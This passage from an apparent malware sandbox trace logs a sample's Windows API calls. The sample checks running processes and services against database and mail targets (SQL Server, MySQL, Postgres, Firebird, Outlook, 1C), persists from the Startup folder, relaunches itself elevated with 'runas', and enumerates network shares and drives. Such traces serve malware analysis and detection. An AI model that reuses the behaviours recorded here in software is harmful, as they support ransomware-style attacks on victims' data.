(lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0265.303] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0265.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0265.303] lstrlenW (lpString="UxSms") returned 5 [0265.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0265.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0265.304] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0265.304] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0265.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0265.304] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57af28 | out: hHeap=0x530000) returned 1 [0265.304] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x37c [0265.305] Process32FirstW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.305] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0265.306] lstrlenW (lpString="System") returned 6 [0265.306] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0265.306] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0265.306] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0265.306] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0265.306] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0265.306] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0265.306] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0265.306] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0265.306] lstrlenW (lpString="smss.exe") returned 8 [0265.306] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0265.306] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0265.306] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0265.306] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0265.306] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0265.306] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0265.306] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0265.306] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.307] lstrlenW (lpString="csrss.exe") returned 9 [0265.307] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0265.307] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0265.307] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0265.307] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0265.307] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0265.307] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0265.307] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0265.307] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0265.307] lstrlenW (lpString="wininit.exe") returned 11 [0265.307] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0265.307] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0265.307] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0265.307] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0265.307] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0265.307] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0265.307] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0265.307] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.308] lstrlenW (lpString="csrss.exe") returned 9 [0265.308] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0265.308] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0265.308] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0265.308] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0265.308] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0265.308] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0265.308] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0265.308] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0265.308] lstrlenW (lpString="winlogon.exe") returned 12 [0265.308] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0265.308] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0265.308] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0265.308] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0265.308] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0265.308] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0265.308] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0265.308] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0265.309] lstrlenW (lpString="services.exe") returned 12 [0265.309] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0265.309] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0265.309] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0265.309] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0265.309] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0265.309] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0265.309] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0265.309] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0265.309] lstrlenW (lpString="lsass.exe") returned 9 [0265.309] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0265.309] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0265.309] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0265.309] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0265.309] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0265.309] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0265.309] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0265.309] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0265.310] lstrlenW (lpString="lsm.exe") returned 7 [0265.310] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0265.310] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0265.310] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0265.310] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0265.310] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0265.310] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0265.310] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0265.310] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.310] lstrlenW (lpString="svchost.exe") returned 11 [0265.310] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0265.310] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0265.310] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0265.310] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0265.310] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0265.310] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0265.310] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0265.310] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.310] lstrlenW (lpString="svchost.exe") returned 11 [0265.310] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0265.310] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0265.311] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0265.311] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0265.311] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0265.311] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0265.311] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0265.311] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.311] lstrlenW (lpString="svchost.exe") returned 11 [0265.311] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0265.311] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0265.311] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0265.311] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0265.311] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0265.311] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0265.311] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0265.311] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.311] lstrlenW (lpString="svchost.exe") returned 11 [0265.312] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.312] lstrlenW (lpString="svchost.exe") returned 11 [0265.312] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0265.312] lstrlenW (lpString="audiodg.exe") returned 11 [0265.312] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.312] lstrlenW (lpString="svchost.exe") returned 11 [0265.312] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.313] lstrlenW (lpString="svchost.exe") returned 11 [0265.313] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0265.313] lstrlenW (lpString="userinit.exe") returned 12 [0265.313] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0265.313] lstrlenW (lpString="dwm.exe") returned 7 [0265.313] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0265.314] lstrlenW (lpString="explorer.exe") returned 12 [0265.314] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0265.314] lstrlenW (lpString="spoolsv.exe") returned 11 [0265.314] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0265.314] lstrlenW (lpString="taskhost.exe") returned 12 [0265.314] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.314] lstrlenW (lpString="svchost.exe") returned 11 [0265.314] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0265.315] lstrlenW (lpString="uyuquk.exe") returned 10 [0265.315] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0265.315] lstrlenW (lpString="reader_sl.exe") returned 13 [0265.315] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0265.315] CloseHandle (hObject=0x37c) returned 1 [0265.315] Sleep (dwMilliseconds=0x1f4) [0266.045] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6147c0 [0266.111] EnumServicesStatusExW (hSCManager=0x6147c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0) Thread: id = 67 os_tid = 0x5c8 [0234.172] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581078 [0234.172] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x58c338 [0234.172] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5810a8 [0234.172] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5810a8, Size=0x20) returned 0x565eb8 [0234.172] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5810a8 [0234.172] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5810a8, Size=0x20) returned 0x565ee0 [0234.172] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c10000 [0234.172] GetProcAddress (hModule=0x76c10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c3d650 [0234.172] Wow64DisableWow64FsRedirection (in: OldValue=0x231ff28 | out: OldValue=0x231ff28*=0x0) returned 1 [0234.172] lstrlenW (lpString="kernel32.dll") returned 12 [0234.172] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565eb8 | out: hHeap=0x530000) returned 1 [0234.172] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0234.172] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565ee0 | out: hHeap=0x530000) returned 1 [0234.172] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x58c338, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\uyuquk.exe")) returned 0x66 [0234.172] ShellExecuteExW (pExecInfo=0x231ff34*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) Thread: id = 68 os_tid = 0x5cc [0234.185] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5810f0 [0234.185] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5810f0, Size=0x20) returned 0x565ee0 [0234.185] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x565ee0, Size=0x40) returned 0x566ee8 [0234.185] GetLogicalDrives () returned 0x4 [0234.185] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x5bef50 [0234.185] GetComputerNameW (in: lpBuffer=0x5bef54, nSize=0x241ff6c | out: lpBuffer="XDUWTFONO", nSize=0x241ff6c) returned 1 [0234.186] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x589640 [0234.186] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x241ff3c | out: lphEnum=0x241ff3c*=0x566518) returned 0x0 [0234.186] WNetEnumResourceW (in: hEnum=0x566518, lpcCount=0x241ff38, lpBuffer=0x589640, lpBufferSize=0x241ff40 | out: lpcCount=0x241ff38, lpBuffer=0x589640, lpBufferSize=0x241ff40) returned 0x103 [0234.186] WNetCloseEnum (hEnum=0x566518) returned 0x0 [0234.186] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x241ff3c | out: lphEnum=0x241ff3c*=0x58aa58) returned 0x0 [0235.763] WNetEnumResourceW (in: hEnum=0x58aa58, lpcCount=0x241ff38, lpBuffer=0x589640, lpBufferSize=0x241ff40 | out: lpcCount=0x241ff38, lpBuffer=0x589640, lpBufferSize=0x241ff40) returned 0x0 [0235.763] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x5a1b70 [0235.763] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x589640, lphEnum=0x241ff10 | out: lphEnum=0x241ff10*=0x566718) returned 0x0 [0235.828] WNetEnumResourceW (in: hEnum=0x566718, lpcCount=0x241ff0c, lpBuffer=0x5a1b70, lpBufferSize=0x241ff14 | out: lpcCount=0x241ff0c, lpBuffer=0x5a1b70, lpBufferSize=0x241ff14) returned 0x103 [0235.828] WNetCloseEnum (hEnum=0x566718) returned 0x0 [0235.828] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x5a3200 [0235.828] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x589660, lphEnum=0x241ff10 | out: lphEnum=0x241ff10*=0x0) returned 0x4b8 [0236.465] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x4240380 [0236.465] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x589680, lphEnum=0x241ff10 | out: lphEnum=0x241ff10*=0x0) returned 0x4c6 [0236.466] WNetEnumResourceW (in: hEnum=0x58aa58, lpcCount=0x241ff38, lpBuffer=0x589640, lpBufferSize=0x241ff40 | out: lpcCount=0x241ff38, lpBuffer=0x589640, lpBufferSize=0x241ff40) returned 0x103 [0236.466] WNetCloseEnum (hEnum=0x58aa58) returned 0x0 [0236.466] GetLogicalDrives () returned 0x4 [0236.466] Sleep (dwMilliseconds=0x64) [0236.580] GetLogicalDrives () returned 0x4 [0236.580] Sleep (dwMilliseconds=0x64) [0236.722] GetLogicalDrives () returned 0x4 [0236.722] Sleep (dwMilliseconds=0x64) [0236.994] GetLogicalDrives () returned 0x4 [0236.994] Sleep (dwMilliseconds=0x64) [0237.134] GetLogicalDrives () returned 0x4 [0237.134] Sleep (dwMilliseconds=0x64) [0237.255] GetLogicalDrives () returned 0x4 [0237.255] Sleep (dwMilliseconds=0x64) [0237.482] GetLogicalDrives () returned 0x4 [0237.482] Sleep (dwMilliseconds=0x64) [0237.742] GetLogicalDrives () returned 0x4 [0237.742] Sleep (dwMilliseconds=0x64) [0237.972] GetLogicalDrives () returned 0x4 [0237.972] Sleep (dwMilliseconds=0x64) [0238.231] GetLogicalDrives () returned 0x4 [0238.231] Sleep (dwMilliseconds=0x64) [0238.620] GetLogicalDrives () returned 0x4 [0238.620] Sleep (dwMilliseconds=0x64) [0238.784] GetLogicalDrives () returned 0x4 [0238.784] Sleep (dwMilliseconds=0x64) [0238.957] GetLogicalDrives () returned 0x4 [0238.957] Sleep (dwMilliseconds=0x64) [0239.176] GetLogicalDrives () returned 0x4 [0239.176] Sleep (dwMilliseconds=0x64) [0239.327] GetLogicalDrives () returned 0x4 [0239.327] Sleep (dwMilliseconds=0x64) [0239.659] GetLogicalDrives () returned 0x4 [0239.659] Sleep (dwMilliseconds=0x64) [0239.819] GetLogicalDrives () returned 0x4 [0239.819] Sleep (dwMilliseconds=0x64) [0240.302] GetLogicalDrives () returned 0x4 [0240.302] Sleep (dwMilliseconds=0x64) [0240.432] GetLogicalDrives () returned 0x4 [0240.432] Sleep (dwMilliseconds=0x64) [0240.576] GetLogicalDrives () returned 0x4 [0240.576] Sleep (dwMilliseconds=0x64) [0240.848] GetLogicalDrives () returned 0x4 [0240.848] Sleep (dwMilliseconds=0x64) [0241.076] GetLogicalDrives () returned 0x4 [0241.076] Sleep (dwMilliseconds=0x64) [0241.348] GetLogicalDrives () returned 0x4 [0241.348] Sleep (dwMilliseconds=0x64) [0241.489] GetLogicalDrives () returned 0x4 [0241.489] Sleep (dwMilliseconds=0x64) [0241.605] GetLogicalDrives () returned 0x4 [0241.605] Sleep (dwMilliseconds=0x64) [0241.735] GetLogicalDrives () returned 0x4 [0241.735] Sleep (dwMilliseconds=0x64) [0241.832] GetLogicalDrives () returned 0x4 [0241.832] Sleep (dwMilliseconds=0x64) [0242.201] GetLogicalDrives () returned 0x4 [0242.201] Sleep (dwMilliseconds=0x64) [0242.339] GetLogicalDrives () returned 0x4 [0242.339] Sleep (dwMilliseconds=0x64) [0242.672] GetLogicalDrives () returned 0x4 [0242.672] Sleep (dwMilliseconds=0x64) [0242.884] GetLogicalDrives () returned 0x4 [0242.884] Sleep (dwMilliseconds=0x64) [0243.194] GetLogicalDrives () returned 0x4 [0243.194] Sleep (dwMilliseconds=0x64) [0243.306] GetLogicalDrives () returned 0x4 [0243.306] Sleep (dwMilliseconds=0x64) [0243.619] GetLogicalDrives () returned 0x4 [0243.619] Sleep (dwMilliseconds=0x64) [0243.854] GetLogicalDrives () returned 0x4 [0243.854] Sleep (dwMilliseconds=0x64) [0244.040] GetLogicalDrives () returned 0x4 [0244.040] Sleep (dwMilliseconds=0x64) [0244.664] GetLogicalDrives () returned 0x4 [0244.664] Sleep (dwMilliseconds=0x64) [0245.037] GetLogicalDrives () returned 0x4 [0245.038] Sleep (dwMilliseconds=0x64) [0245.328] GetLogicalDrives () returned 0x4 [0245.328] Sleep (dwMilliseconds=0x64) [0245.801] GetLogicalDrives () returned 0x4 [0245.801] Sleep (dwMilliseconds=0x64) [0246.359] GetLogicalDrives () returned 0x4 [0246.359] Sleep (dwMilliseconds=0x64) [0246.465] GetLogicalDrives () returned 0x4 [0246.465] Sleep (dwMilliseconds=0x64) [0246.636] GetLogicalDrives () returned 0x4 [0246.636] Sleep (dwMilliseconds=0x64) [0246.850] GetLogicalDrives () returned 0x4 [0246.850] Sleep (dwMilliseconds=0x64) [0247.134] GetLogicalDrives () returned 0x4 [0247.134] Sleep 